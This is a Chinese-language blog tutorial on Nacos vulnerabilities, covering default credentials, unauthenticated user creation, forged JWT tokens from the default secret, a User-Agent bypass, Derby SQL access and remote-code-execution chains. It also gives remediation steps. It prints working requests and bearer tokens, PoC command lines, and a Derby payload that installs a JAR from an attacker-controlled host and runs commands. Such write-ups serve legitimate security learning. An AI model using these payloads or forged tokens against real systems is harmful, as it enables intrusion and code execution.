admin管理员组

文章数量:1637686

目录

nacos介绍

Nacos 开放的端口

nacos启动模式

nacos安装和启动

获取nacos版本信息

nacos漏洞

1. 默认口令

2. 默认未开启鉴权-未授权查看用户信息

漏洞复现

漏洞修复

3. 默认jwt密钥-未授权访问

漏洞原理

漏洞复现

4. 权限认证绕过漏洞(CVE-2021-29441)

漏洞复现

5. Derby未授权访问(CVE-2021-29442)

6. Nacos Client Yaml反序列化漏洞

7. Nacos Hessian 反序列化漏洞

8. Nacos RCE

poc分析

不出网利用


nacos介绍

Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,由阿里巴巴开源。它致力于帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos支持几乎所有主流类型的服务发现、配置和管理,包括Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等。通过Nacos,您可以轻松构建、交付和管理微服务平台,实现服务的动态发现、配置和治理。

Nacos 开放的端口

Nacos部署需要开放以下端口以确保其正常运行:

  • 主端口(HTTP端口):默认为8848,用于客户端、控制台及OpenAPI的HTTP通信。这个端口是访问Nacos管理界面的主要入口。
  • 客户端gRPC请求服务端端口:默认为9848,用于客户端向服务端发起gRPC连接和请求。Nacos 2.x版本默认使用了gRPC通信方式,这会增加9848(客户端gRPC请求服务端端口)和9849(服务端gRPC请求服务端端口)两个端口。
  • 服务端gRPC请求服务端端口:默认为9849,用于服务间的数据同步和其他服务端之间的通信。
  • Jraft请求服务端端口:默认为7848,用于处理服务端间的Raft相关请求,比如集群管理中的选主和日志复制等。

nacos启动模式

Nacos支持两种启动模式:单机模式和集群模式。

  • 单机模式:在单机模式下,Nacos将作为一个独立的实例运行。这种模式适用于开发、测试环境或小规模的生产环境。启动单机模式的Nacos,可以通过执行Nacos的启动脚本来实现。启动完成后,可以通过访问http://localhost:8848/nacos来访问Nacos的Web界面。
  • 集群模式:在集群模式下,Nacos将作为一个多节点集群运行,以提供更高的可用性和可扩展性。这种模式适用于需要高可用性和可扩展性的生产环境。启动集群模式的Nacos,需要先配置集群节点的配置文件(如cluster.conf),指定各个节点的IP地址和端口。然后,在每个节点上执行启动脚本来启动Nacos。启动完成后,可以通过访问任意一个节点的Web界面来管理和使用Nacos集群。

nacos安装和启动

nacos地址:https://github/alibaba/nacos,下载需要的nacos版本 xx.tar.gz

需要jdk1.8的环境,进入到bin目录,在单机模式下启动nacos服务

startup.cmd -m standalone

访问 ip:8848/nacos

获取nacos版本信息

/nacos/v1/console/server/state

nacos漏洞

1. 默认口令

访问 http://ip:8848/nacos/#/login 进入登陆页面

默认口令为 nacos/nacos

2. 默认未开启鉴权-未授权查看用户信息

由于系统默认未开启鉴权 导致未授权访问

漏洞复现

测试版本:nacos1.4.0

1. 直接访问如下路径,未授权查看用户信息

/nacos/v1/auth/users?pageNo=1&pageSize=9

2. 新建用户test/test123

POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.67.134:8848
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=test&password=test123

可以使用该用户直接登录后台。

访问 /nacos/v1/auth/users?username=test,将请求方法修改为DELETE即可删除用户test

漏洞修复

编辑 conf\application.properties文件,将 nacos.core.auth.enabled 值设置为true,无需重启nacos

nacos.core.auth.enabled = true

再次访问403

3. 默认jwt密钥-未授权访问

开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key的值(在Nacos<=2.2.0版本中,该值为默认值),则可以通过accessToken值来绕过权限。

nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

影响版本

0.1.0<=nacos<=2.2.0

漏洞原理

输入正确的账号密码,则后端会返回对应该用户的加密accessToken。

客户端得到此accessToken后会使用此Token再次请求后端服务器,及通过该用户身份登录。

由于返回的accessToken只是对账号进行加密得到的!

而且nacos加密用户accessToken使用的jwt默认密钥加密,也就是只要知到nacos的用户,任何人都能通过此密钥加密用户得到对应用户的accessToken!

nacos存在默认用户nacos,所以我们可以尝试获取此默认用户的nacos。

漏洞复现

测试版本:nacos1.4.0

1. 生成时间戳,比现在时间晚就行,比如现在时间为2024.9.3,则修改为2024.9.4或者更晚的时间

2. 生成key。JSON Web Tokens - jwt.io 复制默认的key,填写如下所示

带上token访问用户列表即可绕过403

/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyNTQzODQ2NX0.ea0hkreKIhMbCsZHvSXTEYKHZVQH2oYJ3W9pol7VwEY
#2030.9月过期的token
/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTkxNDgzMDI1OX0.9alwUqVQWlb9yxvO2GPTWxyoJM6cZWOkutvN2Mfa2cI

直接登录到后台

登陆界面输入任意账户密码 ,点击登录。抓包,添加请求头 Authorization: Bearer xxx

#2030年过期
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTkxNDgzMDI1OX0.9alwUqVQWlb9yxvO2GPTWxyoJM6cZWOkutvN2Mfa2cI

放包即可登录

漏洞修复

  • 更新到最新版
  • 修改key

4. 权限认证绕过漏洞(CVE-2021-29441)

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

版本: <=Nacos 1.4.1 配置为使用身份验证(nacos.core.auth.enabled=true),

nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证 可调用敏感接口

漏洞复现

测试版本:nacos1.4.0

1. 编辑 conf\application.properties文件,将 nacos.core.auth.enabled 值设置为true

2. 访问 nacos/v1/auth/users?pageNo=1&pageSize=9 显示403

3. 添加 User-Agent: Nacos-Server

然后可以添加用户

5. Derby未授权访问(CVE-2021-29442)

nacos带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露。详情:Report a security vulnerability in nacos to execute arbitrary SQL without authentication · Issue #4463 · alibaba/nacos · GitHub

  • 影响版本:在nacos <= 1.4.0,无论是否开启鉴权,该漏洞都存在。当 nacos >1.4.0, 在新版中默认没开鉴权,所有这个漏洞还存在。若开启了鉴权,版本大于1.4.0,则漏洞不存在。

漏洞复现

测试版本:nacos1.4.0

开启鉴权的情况下,默认无法直接查看用户账号密码信息,但可以通过如下接口执行sql语句查看

nacos/v1/cs/ops/derby?sql=select * from users

6. Nacos Client Yaml反序列化漏洞

在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端。

  • https://xz.aliyun/t/10355
  • 内网渗透 -春秋云镜篇之Hospital-腾讯云开发者社区-腾讯云

7. Nacos Hessian 反序列化漏洞

由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。

影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3

Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。

主要受影响的是7848端口的Jraft服务。

漏洞复现

  • 测试版本nacos 2.2.2

poc:https://github/c0olw/NacosRce

java -jar NacosRce.jar http://192.168.67.134:8848/nacos 7848 "whoami"

执行命令同时注入内存马

漏洞修复

  1. 对外限制开放7848端口
  2. 官方已发布新版本修复了该漏洞,可下载最新版本进行升级。

8. Nacos RCE

这个漏洞涉及两个路径,其中derby其实就是CVE-2021-29441

/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby
  • 测试版本:nacos1.4.0(2.3.2也成功),默认状态

下载poc:GitHub - FFR66/Nacos_Rce: 网传nacos_rce漏洞poc,并上传到vps上

1. 在vps启动

python service.py

2. 接着本地机器上执行poc

当系统为未授权访问时,可直接触发RCE

Nacos_Rce.py -t 192.168.67.129 -p 5000 -u http://192.168.67.134:8848 -c whoami
#-t vps ip
#-u nacos web地址

若显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权

在POC文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE。

poc分析

第一条post请求通过“/nacos/v1/cs/ops/data/removal”接口上传并执行一段SQL命令

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 192.168.67.134:8848
...
Content-Type: multipart/form-data; boundary=f126ae680e7af6c85ea68618e0b09d65

--f126ae680e7af6c85ea68618e0b09d65
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://192.168.67.129:5000/download', 'NACOS.hHGLPTCM', 0)

            CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hHGLPTCM')

            CREATE FUNCTION S_EXAMPLE_hHGLPTCM( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

--f126ae680e7af6c85ea68618e0b09d65--
  1. 安装JAR文件:通过CALL sqlj.install_jar命令,尝试从远程URL(http://192.168.67.129:5000/download)下载并安装一个JAR文件到Derby数据库。这个JAR文件被命名为NACOS.CHpNJkAG
  2. 设置数据库属性:通过CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY命令,将Derby数据库的classpath属性设置为刚刚安装的JAR文件,这样数据库就可以加载并执行JAR文件中的Java代码了。
  3. 创建函数:通过CREATE FUNCTION命令,在数据库中创建一个名为S_EXAMPLE_CHpNJkAG的函数,这个函数指向JAR文件中test.poc.Example.exec方法的执行。这个函数的目的是执行某种自定义逻辑,具体逻辑取决于JAR文件的内容。

第二条GET请求:“GET /nacos/v1/cs/ops/derby?sql=select * from (select count(*) as b, S_EXAMPLE_hHGLPTCM('whoami') as a from config_info) tmp /*ROWS FETCH NEXT*/”

  1. config_info表中选择所有行,并计算这些行的总数(作为b列)。
  2. 调用S_EXAMPLE_hHGLPTCM函数,将字符串'whoami'作为参数传递,并将函数返回的结果作为a列。

不出网利用

....

本文标签: 漏洞系列Nacos